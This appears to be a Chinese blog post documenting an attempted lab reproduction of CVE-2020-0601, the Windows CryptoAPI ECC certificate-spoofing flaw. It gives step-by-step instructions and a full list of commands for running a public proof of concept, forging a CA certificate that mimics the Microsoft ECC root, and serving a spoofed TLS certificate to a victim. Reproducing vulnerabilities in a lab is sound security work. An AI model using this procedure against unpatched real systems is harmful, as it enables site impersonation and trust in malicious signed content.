zoukankan      html  css  js  c++  java
  • CVE-2020-0601:微软核心加密库漏洞复现(失败)

    CVE-2020-0601:微软核心加密库漏洞复现

    一、漏洞介绍

    受CVE2020-0601漏洞影响的系统,在验证证书签名时,在证书信用列表中查找受信任CA证书时出现乌龙。伪造的ECC CA证书可以被误认为可信任的证书,导致该伪造证书签名的文件能被系统信任。

    比如,win10中证书MicrosoftECCProductRootCertificateAuthority.pem是在受信任的证书列表中。现在我们根据漏洞,利用算法公式制造出与该证书具有相同公钥和曲线参数的,除基点G不同的另外一个证书spoofed.pem。操作系统在验证签名时会将spoofed.pem证书认为是信任列表中的MicrosoftECCProductRootCertificateAuthority.pem证书,那么spoofed.pem签署的文件,系统自然就信任。

    二、影响版本

    目前,支持使用带有指定参数的ECC密钥的证书的Microsoft Windows版本会受到影响,包括了Windows 10、Windows Server 2016/2019以及依赖于Windows CryptoAPI的应用程序。

    三、复现过程

    1)在win10开始菜单中输入certmgr.msc,并打开

    2)导出一个根证书MicrosoftECCProductRootCertificateAuthority

    选择Base64编码

     

    3)下载poc程序

     4)执行poc程序。该程序从导出的ECC证书中获取公钥值,然后生成私钥是1,G就是该公钥值的私钥文件

    5)对比一下证书和生成私钥文件内容能更好理解

    ECC证书中的公钥信息:

     

    生成的私钥文件:

     私钥值是1,对应的公钥值,G值和ECC证书中的公钥值是一样的。

    6)利用生成的私钥文件生成一个自签名CA证书,然后签发一个下级服务证书

    下级证书的私钥

    7)把生成的下级证书cert.crt,其私钥文件cert.key和我们的ca文件spoofed_ca.crt一起放到HTTP服务器上,配置启用SSL

    8)在客户机Win10下的hosts文件里添加配置,将自己服务器地址和域名配对。

     

    设置PHP studyssl配置文件

    9)最终使用微软浏览器或者IE浏览器访问此地址

    四、修复方式

    微软已发布补丁,更新即可

    五、需要使用的命令行

    git clone https://github.com/ollypwn/CVE-2020-0601.git
    ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
    openssl x509 -in MicrosoftECCProductRootCertificateAuthority.cer -noout -text
    openssl ec -in spoofed_ca.key -noout -text   
    openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt     
    openssl ecparam -name secp384r1 -genkey -noout -out cert.key
    openssl req -new -key cert.key -out cert.csr                                                                 
    openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000
  • 相关阅读:
    Windows Media Player Audio normalize wmp音量规格化
    IE6、IE7、IE8不支持XHTML,不过没关系
    w3.org出现HTML语法错误
    主板bios修改、刷新
    HTML原则:内容放在HTML中,不要依赖CSS
    textarea应使用cols和rows来控制width和height,而不应只使用css
    sata AHCI驱动下载(AMD Intel Nvidia)
    咬文嚼字:中国文字、中国话
    详解W3C标准:html 4.01中的lang属性——实际上它是一个刮胡刀
    热烈欢呼:cnblogs.com博客园首页通过W3C验证
  • 原文地址:https://www.cnblogs.com/ZYX-bk-412/p/14730555.html
Copyright © 2011-2022 走看看